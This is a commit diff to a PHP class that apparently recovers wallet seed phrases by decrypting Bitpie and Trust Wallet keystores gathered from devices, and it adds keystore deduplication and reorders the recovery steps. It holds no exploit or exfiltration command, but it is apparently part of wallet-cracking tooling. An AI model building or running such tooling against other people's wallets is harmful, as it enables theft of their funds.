This commit is contained in:
hashbro
2026-08-24 06:49:07 +08:00
parent db574cc629
commit 2eb081cbb8
18 changed files with 436 additions and 40 deletions
+33 -8
View File
@@ -23,14 +23,6 @@ final class DsKeystoreDecrypt
{
$hits = [];
$seen = [];
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
@@ -45,6 +37,14 @@ final class DsKeystoreDecrypt
$seen[$hash] = true;
$hits[] = $hit;
}
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
@@ -56,6 +56,10 @@ final class DsKeystoreDecrypt
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
}
$utcs = $this->uniqueKeystores($utcs);
if ($utcs === []) {
return [];
}
@@ -321,6 +325,27 @@ final class DsKeystoreDecrypt
return $out;
}
/**
* @param list<array{source: string, keystore: array<string, mixed>}> $items
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
private function uniqueKeystores(array $items): array
{
$seen = [];
$out = [];
foreach ($items as $item) {
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$out[] = $item;
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>